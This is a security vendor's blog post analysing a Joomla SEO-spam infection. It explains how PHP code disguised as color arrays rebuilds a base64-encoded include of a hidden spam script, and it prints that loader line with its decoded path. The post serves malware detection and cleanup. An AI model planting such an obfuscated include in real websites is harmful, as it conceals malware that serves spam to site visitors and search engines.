• Skip to primary navigation
  • Skip to content
  • Skip to primary sidebar
  • Skip to footer

Sucuri Blog

Website Security News

  • Products
    • Website Security Platform
    • Website Firewall (WAF)
    • Enterprise Website Security
    • Multisite Solutions
  • Features
    • Detection
    • Protection
    • Performance
    • Response
    • Backups
  • Partners
    • Agency Solutions
    • Partners
    • Referral Program
    • Ecommerce
  • Resources
    • Guides
    • Webinars
    • Infographics
    • SiteCheck
    • Reports
    • Email Courses
  • Immediate Help
  • Login

Joomla – Fancy SPAM Injections

November 5, 2013Fioravante Souza

0
SHARES
FacebookTwitterSubscribe

Malware writers can be really ingenious when it comes to obfuscating their code. And let’s face it, in today’s anti-malware push, they have to; the slightest variation will often trigger warnings that will make it look suspicious in turn shortening its life-span.

When we talk about obfuscation the first thing we think is base64 encoding, gzinflate or any other built-in function that will help making the code illegible for the average user, but they’ll often stick out to the trained eye.

With that in mind, obfuscating the malware code to look like good code is the best approach to make it last longer.

Take this code, for example:

Joomla SPAM Obfuscation

At first glance it may be a good code, right? Just some color arrays to make Joomla work correctly…

But, that function init_colors($colors) is actually converting those arrays into a string. Before that, you can find a call to preg_replace that consolidates all those arrays into:

return include(base64_decode("L3dlYi9odGRvY3Mvd3d3LmZvcm1lci5iaXovaG9tZS9tZWRpYS9rMi9hc3NldHMvaW1hZ2VzL2VsZmluZGVyLy5pY29ucy8uJTZhOSUlOTJkJSU1NTIlJTlmNCUlNTlhJSU0NGYlJWVlNSUlOGM3JQ=="));;

Which decodes to:

/web/htdocs/www.attackedsite.dom/home/media/k2/assets/images/elfinder/.icons/.%6a9%%92d%%552%%9f4%%59a%%44f%%ee5%%8c7%

This filename is not encoded, it is stored with this strange name.

Opening the strange file you find a complex spam tool, here is a quick snippet:

Joomla Complex Spam Script

The most interesting part is that it is logging all access, if it’s a bot or a human, and it decides if the spam code will be shown based on the referrer quality, language and other variables to improve the SEO attack.

If you’re wondering what it’s showing, you can see it here:

Joomla SIteCheck SPAM Output

Other thing is that the code was tailored specially for the site, using fullpaths for all includes, instead of relative paths as usual.

This shows us that using scripts to find base64 encoded strings are not as effective (or they never were) as most people think and finding spam is getting more and more complicated.

0
SHARES
FacebookTwitterSubscribe

Categories: Joomla Security, Website Malware InfectionsTags: SEO Spam

About Fioravante Souza

Fioravante "Fio" Souza is Sucuri’s Vulnerability Research & Machine Learning Manager who joined the company in 2012. Fio’s main responsibilities include dealing with emerging web threats. His professional experience covers 18 years of information security. When Fio isn’t dealing with web threats, you might find him fermenting everything he can find. Connect with Fio on Twitter or Untappd.

Reader Interactions

Comments

  1. Friv Jogos

    November 6, 2013

    I definitely bookmark this page and share it with your friends, hopefully will be useful to them.

  2. mihha

    November 22, 2013

    Nice article. Being Joomla website developer myself who receives lots of jobs related to the malware cleaning, this is useful information for me.

    Thank you!

Primary Sidebar

Socialize With Sucuri

We're actively engaged across multiple platforms. Follow us and let's connect!

  • Facebook
  • Twitter
  • LinkedIn
  • YouTube
  • Instagram
  • RSS Feed

The Anatomy of Website Malware Webinar

Joomla Security Guide

Join Over 20,000 Subscribers!

Footer

Products

  • Website Firewall
  • Website AntiVirus
  • Website Backups
  • WordPress Security
  • Enterprise Services

Solutions

  • DDos Protection
  • Malware Detection
  • Malware Removal
  • Malware Prevention
  • Blacklist Removal

Support

  • Blog
  • Knowledge Base
  • SiteCheck
  • Research Labs
  • FAQ

Company

  • About
  • Media
  • Events
  • Employment
  • Contact
  • Testimonials
  • Facebook
  • Twitter
  • LinkedIn
  • Instagram

Customer Login

Sucuri Home

  • Terms of Use
  • Privacy Policy
  • Frequently Asked Questions

© 2021 Sucuri Inc. All rights reserved

Sucuri Cookie Policy
See our policy>>

Our website uses cookies, which help us to improve our site and enables us to deliver the best possible service and customer experience.